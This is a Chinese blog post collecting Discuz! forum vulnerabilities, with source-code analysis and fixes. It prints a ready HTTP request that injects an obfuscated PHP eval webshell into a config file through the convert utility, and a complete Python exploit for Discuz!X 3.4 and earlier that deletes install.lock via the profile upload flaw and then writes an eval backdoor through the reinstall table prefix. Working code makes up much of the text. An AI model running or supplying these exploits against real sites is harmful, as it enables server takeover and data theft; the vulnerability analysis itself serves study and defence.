dz漏洞整理(持续更新)

近期碰到一些dz的漏洞,做了一下某春秋上面的题,大概的记录一下吧,顺便分析一下源码.

/utility/convert/index.php利用

版本未知,之前看是dz的通杀,现在不知道了.. 首先访问这个链接 然后发现是个版本切换的界面 设置服务器信息的东西会写到配置文件,配置页面可连菜刀

贴个exp

1
2
3
4
5
6
7
8
9
10
11
POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
Host: www.test.ichunqiu
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 199
Content-Type: application/x-www-form-urlencoded

newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

代码可以直接getshell,恶意代码写入/convert/data/config.inc.php文件中

漏洞代码分析

\discuz\utility\convert\index.php blacsheep 查看do_config.inc.php,关键函数save_config_file blacsheep 跟进\discuz\utility\convert\include\global.func.php去看函数 blacsheep 关键函数getvars,继续跟进 blacsheep 关键函数buildarray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function buildarray($array, $level = 0, $pre = '$_config') 
{
static $ks;
if($level == 0)
{
$ks = array();
$return = '';
}

foreach ($array as $key => $val)
{
if($level == 0)
{
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
/*
这里是产生漏洞关键
1. DISCUZ的本意是使用$config数组的key作为每一块配置区域的"注释标题"
2. 写入配置文件的$newline依赖于$key,而$key是攻击者可控的
3. 未对输入数据进行正确的边界处理,导致攻击者在输入数据中插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码
1) 换行符
2) ?>
这类定界符都是可以达到同样的效果的
*/
$return .= "\r\n// $newline //\r\n";
}

$ks[$level] = $ks[$level - 1]."['$key']";
if(is_array($val))
{
$ks[$level] = $ks[$level - 1]."['$key']";
$return .= buildarray($val, $level + 1, $pre);
}
else
{
$val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;
$return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";
}
}
return $return;
}

防御方法

可以把key里面的非字符数字下划线转成空字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function buildarray($array, $level = 0, $pre = '$_config') 
{
static $ks;
if($level == 0)
{
$ks = array();
$return = '';
}

foreach ($array as $key => $val)
{
//过滤掉$key中的非字母、数字及下划线字符
$key = preg_replace("/[^\w]/", "", $key);

if($level == 0)
{
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
$return .= "\r\n// $newline //\r\n";
}

$ks[$level] = $ks[$level - 1]."['$key']";
if(is_array($val))
{
$ks[$level] = $ks[$level - 1]."['$key']";
$return .= buildarray($val, $level + 1, $pre);
}
else
{
$val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;
$return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";
}
}
return $return;
}

参考链接

http://www.cnblogs.com/LittleHann/p/4317665.html

任意文件删除及其衍生getshell

Discuz!X<=3.4可用 提供可复现版本的dz:下载DiscuzX 漏洞本来是14年6月被交到wooyun的洞,原来的利用已经修复,添加了对属性的formtype判断,但是修复不完全导致可以绕过.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
import base64
import random
import re
import string

import requests

sess = requests.Session()
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))

##################################################
########## Customize these parameters ############
target = 'http://localhost/discuzx'
# login target site first, and copy the cookie here
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
shell_password = randstr()
db_host = ''
db_user = ''
db_pw = ''
db_name = ''
#################################################

path = '/home.php?mod=spacecp&ac=profile&op=base'
url = target + path

sess.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': url})


# sess.proxies.update({'http': 'socks5://localhost:1080'})
# sess.proxies.update({'http': 'http://localhost:8080'})


def login(username=None, password=None):
sess.headers.update({'Cookie': cookie})


def get_form_hash():
r = sess.get(url)
match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I)
if match:
return match.group(1)


def tamper(formhash, file_to_delete):
data = {
'formhash': (None, formhash),
'profilesubmit': (None, 'true'),
'birthprovince': (None, file_to_delete)
}
r = sess.post(url, files=data)
if 'parent.show_success' in r.text:
print('tamperred successfully')
return True


def delete(formhash, file):
if not tamper(formhash, file):
return False

image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
data = {
'formhash': formhash,
'profilesubmit': 'true'
}
files = {
'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
}
r = sess.post(url, data=data, files=files)
if 'parent.show_success' in r.text:
print('delete {} successfully'.format(file))
return True


def getshell():
install_url = target + '/install/index.php'
r = sess.get(install_url)
if '安装向导' not in r.text:
print('install directory not exists')
return False

table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)
data = {
'step': 3,
'install_ucenter': 'yes',
'dbinfo[dbhost]': db_host,
'dbinfo[dbname]': db_name,
'dbinfo[dbuser]': db_user,
'dbinfo[dbpw]': db_pw,
'dbinfo[tablepre]': table_prefix,
'dbinfo[adminemail]': 'admin@admin.com',
'admininfo[username]': 'admin',
'admininfo[password]': 'admin',
'admininfo[password2]': 'admin',
'admininfo[email]': 'admin@admin.com',
}
r = sess.post(install_url, data=data)
if '建立数据表 CREATE TABLE' not in r.text:
print('write shell failed')
return False
print('shell: {}/config/config_ucenter.php'.format(target))
print('password: {}'.format(shell_password))


if __name__ == '__main__':
login()
form_hash = get_form_hash()
if form_hash:
delete(form_hash, '../../../data/install.lock')
getshell()
else:
print('failed')

代码逻辑

核心问题在upload/source/include/spacecp/spacecp_profile.php 首先看到第70行 blacsheep 当profile提交的时候执行下面的代码 然后继续往下看 blacsheep 这里本来没有判断,那么我们传入deletefile,然后遍历的时候把$space[$key]拼接到路径然后unlink删掉了,其中$space[$key]是可控的 加了判断之后不行了,因为用户信息字段都是非file类型,没办法 然而后面还是有漏洞,从第187行开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if($_FILES) {
$upload = new discuz_upload();
foreach($_FILES as $key => $file) {
if(!isset($_G['cache']['profilesetting'][$key])) {
continue;
}
...
...
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}

}
}

这里只要传一张图片就可以绕过,然后unlink掉删除的文件 官方的修复是删掉了5个unlink...简单粗暴,但是确实有效... 重装的过程就不分析了,简而言之就是安装的时候tablepre的值可以插入到config.inc.php文件中,从而getshell

参考链接

http://blog.nsfocus.net/discuz-arbitrary-file-remove-vulnerability/ https://fafe.me/2017/10/02/discuz-getshell/ https://paper.seebug.org/411/